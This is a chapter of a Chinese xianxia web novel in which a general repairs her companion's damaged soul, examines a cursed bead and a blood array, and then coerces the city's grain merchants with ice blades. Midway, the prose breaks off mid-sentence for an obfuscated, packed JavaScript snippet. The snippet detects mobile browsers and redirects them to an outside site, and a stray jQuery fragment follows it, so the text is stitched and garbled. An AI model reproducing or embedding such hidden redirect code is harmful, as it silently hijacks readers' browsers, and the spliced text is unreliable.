墨云微看向祭坛中央的盒子,问道:“盒子里装的是什么?去打开看看。”
觉得不放心,又补上一句,“别随便碰里面的东西。”
时安然上前将盒子打开,里面装的是一颗婴儿拳头大小般的珠子。
“殿下,是一颗木珠。”
那颗珠子通身呈木质,看上去暗淡无光泽,没什么特别的,可时安然看着它,感觉到一种致命的吸引力,好像全身上下都在叫嚣着让他拿起。
失去妖力的时安然自是抵抗不住这样的诱惑,他抬手将里面的木珠子拿出,细细端详着。
就在他拿起的那一瞬间,便感到了一股强大的吸力,那力量似乎要将他的三魂七魄都吸入其中,吃个干净。
神魂分离所产生的痛苦,比起凌迟等极刑也差不了什么,时安然的脸色瞬间变得煞白。
一旁的墨云微并不知晓发生了什么,但看时安然的神魂突然间产生了巨大的波动,想来和那东西托不了干系。
当机立断的,她将那珠子打落。
“你怎么了,还好吗?”
珠子虽被打下,但时安然依旧能感受到灵魂中撕裂般的痛楚。
“殿下,我疼。”
时安然的眼睛里闪着泪光,像极了一只受了委屈求主人安慰的小狗,似乎在期待些什么。
墨云微理解了他的意思,自不会在这种时候拒绝。
她再次将灵力引入时安然的体内,只不过这次不再从手腕处循序渐进,而是直接从灵台处将灵力打入。
与强者的神识相容是修补魂魄最快的办法。
“把灵府打开,放松。”
她慢慢引导着时安然将灵府打开,自己只分出一缕神识进去,太多了他现在也承受不住。
墨云微神识进入的一瞬间,时安然先是感到一股清流涌入灵府,像是久未浇灌即将枯萎的小花小草突然得到了甘泉的滋养,再次焕发出勃勃生机。
随后,一种与先前灵交完全不同的感觉涌上心头,时安然现在甚至可以感觉到他身体产生的异样。
墨云微进入时安然灵府后,满目皆是苍凉的黄色,一望无际的大漠上,看不到一点生命的迹象,像极了时安然的前半生,漂泊且荒凉,在死斗场的那几年甚至看不到生的希望。
因为刚刚的东西,时安然的神魂受损,索性时间不长,只是天空上有几处缺漏,并不难补。
她飞上去,将神识贴到那几处漏洞上,尽力修补着。
这期间墨云微可以感觉到身边的人抖了一瞬,但为了不彰显自己现在的紧张,时安然正在尽力控制着呼吸,不叫它乱掉。
还真是个傻孩子,墨云微不自觉的想,身体的抖动以及飙升的体温让她连眼睛都不用睁开,因为这些东西都昭示着他现在的慌张。
墨云微嘴角微微勾起,还是个单纯的少年呢。
……
神魂受损不多,没一会儿墨云微便退出来了,和上次一样,只不过从灵力换成了神魂,紧紧缠绕着她,不让她走。
上次墨云微急着找入口,只能当做不知道,现在嘛,墨云微看了他一眼,决定……还是当做不知道。
于是便很麻利的撤了出来。
墨云微不再管他,低头看着那珠子,疑惑道:“引魂珠?”
时安然闭眼,墨云微刚刚将他的灵府填满又毫无留恋的撤出,让他产生了剧烈的落空感,他强行将那感觉压了下去,道:“殿下知道?”
墨云微点点头,“引魂珠可以生生剥离魂魄,不管是修士、魔族还是妖族,只要碰到它即便不死,也难逃受一番苦。”
“不过我第一次看见这东西时,它就被封印在灵都皇宫中的灵宝阁。只是这东西很少有人能够驾驭,使用者必遭反噬。因此被初代灵都帝主列为邪物,既不能销毁又不能为人所用,就只能将其封印后束之高阁,敬而远之。”
看来就是这引魂珠一直引着那些怨灵在将军府门前了。
想到这,墨云微突然心念一动。
“你确定当时在府外没有看见过郑绍?”
时安然想了想,随即确认,“我当时来来回回观察了好几遍,这城中我们见过的人本就不多,我可以确定,确实没有他。”
墨云微点点头,要真跟她想的一样,那就很是讽刺了。
“你知道引魂珠是怎么到灵都皇宫的吗?”
时安然摇头。
“你可曾听过荥阳郑氏?”墨云微问道。
“听文秀姑姑说过,百年前撑不住被南阳叶氏吞并的那一家。可这跟郑绍有什么……”
是了,郑绍也姓郑,又在怀阳城中,刚刚没有看到他,没准就是当年拿了引魂珠跑了。
时安然看着这偌大的祭坛,不禁陷入沉思。如此手笔,当真是一个凡人能做到的吗?即便郑绍在怀阳城根基深厚,但毕竟只是个副将,将军府的主人也不是他。
“可他只是个凡人,这么深的暗道和这么大祭坛,不太可能是他的手笔。”
引魂珠确实是郑氏献上的,如果真是郑绍将它带走的,那郑氏所受的诅咒是否和引魂珠有关。
墨云微并没有立刻回答,这也是她迟疑的地缝。
她向脚底看去,祭坛上用血画着巨大的阵法,大约是为了防止血液干涸,维持阵法的运行,这阵法上有冰系修士的灵力痕迹。
墨云微看着阵法,在心里默默判断着。
这阵法虽然大,但确实是普通的阳阵,只是胜在布阵者的境界高,几近于飞升,才能支撑这么多年。凡此阵覆盖之地,方圆十里,只有活物能进,那些怨灵自是进不来的。
可随着那上面的冰系术法渐渐消融,阳阵可以保护的范围越来越小,那些怨灵才能靠近将军府。
照这样的消耗,墨云微估摸着再过上个几十年,等冰彻底消融,阳阵便会作废,到那时,凭着引魂珠残余下来的威力,勾着城中那数万不得超生的怨灵,将军府恐怕会被夷为平地。
“脚下是阳阵,可以隔绝怨灵,但却在阵中放着引魂珠,引着那些怨灵前来,怎会如此矛盾。”
虽然她现在不确定引魂珠最后是不是郑绍拿走的,但她可以肯定,进来时石门上的那个阵法确实是出自仙门。
忽然间,她抬手,将镇北将军的灵力打上阵法。
镇北将军灵力打上去的一瞬间阳阵便好像找到了续命之源,很容易的接受了。
到此,墨云微也可以确定这阳阵就是镇北将军布下的。
“走吧,外面应该是白天了,出去看看就知道了。”
如墨云微所料,和时安然上去后幻境一切恢复正常,白天幻境中的人有了“生命”,自然可以进入将军府。
那些被郑绍派来照顾墨云微的丫鬟小厮们这会儿早已进府,即便没看见墨云微也不觉得奇怪,毕竟镇北将军平日里也不常待在府中。
因着时安然现在是凡人,不能不睡觉,再加上刚刚神魂受损,墨云微让人先回房间休息,自己去了书房。
“将军,门外郑副将找您。”
“让他进来。”
郑绍还和昨天一样,大大咧咧的,但对于城中生计很是在乎,一进来便问:“将军,粮食的事,想到办法了吗?”
墨云微淡笑,那一双眸子让人瞧不出什么情绪,郑绍忽然间感觉镇北将军变得更加深不可测。
“自然。”
“当真?”
“当真,还劳烦郑副将把城中富商名单给我一份。”
郑绍理解了墨云微的打算,皱眉道:“将军刚来不久,恐怕对城中一切不是很熟悉,那些富商都是些宁愿把粮食烧了也不愿放粮给百姓的主。”
“属下也想过走那些富商的路,但吃了个闭门羹,那些人一个比一个会打太极。”
墨云
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15359081|168066||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
微闻言只是慢悠悠的喝着茶,“你是用什么办法要粮食的?”
郑绍一愣,“好言相商?”
“一堆为了国计民生的大道理?”
郑绍点头。
墨云微恨铁不成钢的看了郑绍一眼,突然就明白了他为何官做了十几年至今还是个副将。
“郑副将,还请你将手上有余粮的富商叫到将军府来,我自有办法说服他们。”
郑绍看墨云微这是铁了心的不撞南墙不回头,新官刚上任急于做出点成绩他也是理解的。
只能按照她的吩咐将人都找过来,至于能不能说服,可不再他的考虑范围内。
郑绍走时,墨云微喊住他,“等一下。”
“将军还有何事?”
墨云微笑笑,“我来城中多日,怎的一直未见城主大人?”
说起这个,郑绍尴尬的挠了挠头:“将军忘了吗?城主开战前回乡探亲,到现在还未回来,仙门才将您派来主持大局。”
大意了,墨云微惊出一身冷汗,所幸郑绍并未起疑,她道:
“我自是没忘,就是想知道一些城主的近况。罢了,你先下去吧。”
城主跑了?墨云微暗暗的想,这怀阳城还真是屋漏偏逢连夜雨。
……
很快,郑绍就将那些人找来了。
到门口时,他还是不放心的说了一句:“诸位,镇北将军刚刚上任,又是这样年少,难免考虑的不周到。如果她有什么失礼的地方,郑某现在这里给诸位赔个不是。”
“哪里哪里,郑兄说笑了,我们怎会跟镇北将军计较。人家可是仙门的人,自然不会看见这民生疾苦的。”
墨云微自然听得见,不过她倒是没有说什么,因为郑绍说的没错,接下来她确实会有些失礼。
“诸位老板想必也知道我今日叫大家来的目的,是有一事相求。”
坐在左上首的李老板率先开口:“将军言重了,如果是为了粮草的事,我们自当帮忙。”
墨云微意外的挑了挑眉,“哦?不知李老板说的帮忙指的是?”
那人看了看其他商户,道:“来的路上,我们商量了一下,可以用低于市价十成的价格将粮食买给您。”
十成?墨云微笑了笑。
“如果我说不呢?”
李老板皱眉,“将军这是何意?”
“城中日常开销很大,如今城中城主位置空缺,城中财政实在有些捉襟见肘。”
那不就是没钱,李老板暗自翻了个白眼,“那小人就爱莫能助了,告辞。”
其他人也跟着起身,可走到门口时,房门被关上,抬眼看,被设下了结界。
“大道理我就不讲了,听郑副将说,应该讲了不少。既然好言相劝不听,那就别怪本将用硬的了。”
墨云微挥挥手,几枚冰刃浮现在他们眼前。
“现在给你们两个选择,要么开仓放粮,要么死在这等着本将把家抄了开仓放粮。”
如果时安然在的话,一定会觉得墨云微现在的嘴脸活像个土匪。
“你……”
“仙门都是些这样蛮不讲理的人吗?”
郑绍也被这变故激的一惊,“将军,不可啊。”
“非常时期自然要用到非常手段。”
都快死了,还要那些粮食干嘛?
虽然结局不可改,但墨云微还是想要竭尽所能的让城中百姓过的好一点。
“考虑清楚了吗?各位。”
那冰刃实在下人,有的已经划破了皮肤,渗出了血丝。
“我同意放粮。”
“我也同意放粮。”
墨云微拍了拍手,道:“好,怀阳城中有诸位这样为国为民的富商还真是三生有幸,相信城中百姓听了也一定会对诸位心怀感激的。”
这是将人架到了高台上,由不得他们反悔了。